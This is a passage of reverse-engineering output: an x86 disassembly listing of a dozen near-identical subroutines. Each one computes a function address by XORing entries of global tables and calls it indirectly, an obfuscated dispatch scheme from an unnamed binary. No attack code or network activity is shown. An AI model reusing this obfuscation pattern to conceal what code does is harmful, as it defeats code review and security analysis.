		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4A62AF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A63AC	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004ED8FCo

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 45h
		mov	[ebp+var_2C], 0D7h
		mov	[ebp+var_28], 7Eh
		mov	[ebp+var_24], 0D6h
		mov	[ebp+var_20], 0EFh
		mov	[ebp+var_1C], 5Bh
		mov	[ebp+var_18], 0F9h
		mov	[ebp+var_14], 0E9h
		mov	[ebp+var_10], 0Eh
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 0Eh
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4A643D
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4A643D:				; CODE XREF: sub_4A63AC+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4A63AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A64A9	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004ED900o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 35h
		mov	[ebp+var_2C], 0ACh
		mov	[ebp+var_28], 7Fh
		mov	[ebp+var_24], 9Dh
		mov	[ebp+var_20], 25h
		mov	[ebp+var_1C], 43h
		mov	[ebp+var_18], 8Ah
		mov	[ebp+var_14], 89h
		mov	[ebp+var_10], 12h
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 12h
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4A653A
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4A653A:				; CODE XREF: sub_4A64A9+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4A64A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A65A6	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004ED904o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 2
		mov	[ebp+var_2C], 9Eh
		mov	[ebp+var_28], 21h
		mov	[ebp+var_24], 0C5h
		mov	[ebp+var_20], 0Ah
		mov	[ebp+var_1C], 27h
		mov	[ebp+var_18], 93h
		mov	[ebp+var_14], 0B6h
		mov	[ebp+var_10], 7
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 7
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4A6637
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4A6637:				; CODE XREF: sub_4A65A6+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4A65A6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A66A3	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004ED908o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 44h
		mov	[ebp+var_2C], 0FAh
		mov	[ebp+var_28], 0Fh
		mov	[ebp+var_24], 5Ch
		mov	[ebp+var_20], 54h
		mov	[ebp+var_1C], 25h
		mov	[ebp+var_18], 19h
		mov	[ebp+var_14], 4Dh
		mov	[ebp+var_10], 12h
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 12h
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4A6734
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4A6734:				; CODE XREF: sub_4A66A3+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4A66A3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A67A0	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004ED90Co

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 0C7h
		mov	[ebp+var_2C], 0F0h
		mov	[ebp+var_28], 4Dh
		mov	[ebp+var_24], 8
		mov	[ebp+var_20], 0E3h
		mov	[ebp+var_1C], 0B4h
		mov	[ebp+var_18], 4Ah
		mov	[ebp+var_14], 8Ah
		mov	[ebp+var_10], 4
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 4
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4A6831
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4A6831:				; CODE XREF: sub_4A67A0+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4A67A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A689D	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004ED910o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 40h
		mov	[ebp+var_2C], 0C7h
		mov	[ebp+var_28], 0E7h
		mov	[ebp+var_24], 29h
		mov	[ebp+var_20], 0EEh
		mov	[ebp+var_1C], 9Eh
		mov	[ebp+var_18], 0
		mov	[ebp+var_14], 0EFh
		mov	[ebp+var_10], 15h
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 15h
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4A692E
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4A692E:				; CODE XREF: sub_4A689D+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4A689D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A699A	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004ED914o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 0A0h
		mov	[ebp+var_2C], 0B1h
		mov	[ebp+var_28], 0FBh
		mov	[ebp+var_24], 39h
		mov	[ebp+var_20], 6Bh
		mov	[ebp+var_1C], 9Ah
		mov	[ebp+var_18], 0DEh
		mov	[ebp+var_14], 2Ah
		mov	[ebp+var_10], 1
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 1
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4A6A2A
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4A6A2A:				; CODE XREF: sub_4A699A+7Dj
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4A699A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A6A96	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004ED918o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 0EAh
		mov	[ebp+var_2C], 0Bh
		mov	[ebp+var_28], 0F6h
		mov	[ebp+var_24], 0EEh
		mov	[ebp+var_20], 0CAh
		mov	[ebp+var_1C], 0B2h
		mov	[ebp+var_18], 0DAh
		mov	[ebp+var_14], 0EDh
		mov	[ebp+var_10], 13h
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 13h
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4A6B27
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4A6B27:				; CODE XREF: sub_4A6A96+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4A6A96	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A6B93	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004ED91Co

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 0Bh
		mov	[ebp+var_2C], 0F0h
		mov	[ebp+var_28], 85h
		mov	[ebp+var_24], 6Eh
		mov	[ebp+var_20], 0B2h
		mov	[ebp+var_1C], 34h
		mov	[ebp+var_18], 0AEh
		mov	[ebp+var_14], 63h
		mov	[ebp+var_10], 1
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 1
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4A6C23
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4A6C23:				; CODE XREF: sub_4A6B93+7Dj
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4A6B93	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A6C8F	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004ED920o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 23h
		mov	[ebp+var_2C], 22h
		mov	[ebp+var_28], 26h
		mov	[ebp+var_24], 0Eh
		mov	[ebp+var_20], 52h
		mov	[ebp+var_1C], 58h
		mov	[ebp+var_18], 2
		mov	[ebp+var_14], 0B2h
		mov	[ebp+var_10], 7
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 7
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4A6D20
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4A6D20:				; CODE XREF: sub_4A6C8F+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4A6C8F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A6D8C	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004ED924o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 3Bh
		mov	[ebp+var_2C], 1Dh
		mov	[ebp+var_28], 0Ah
		mov	[ebp+var_24], 96h
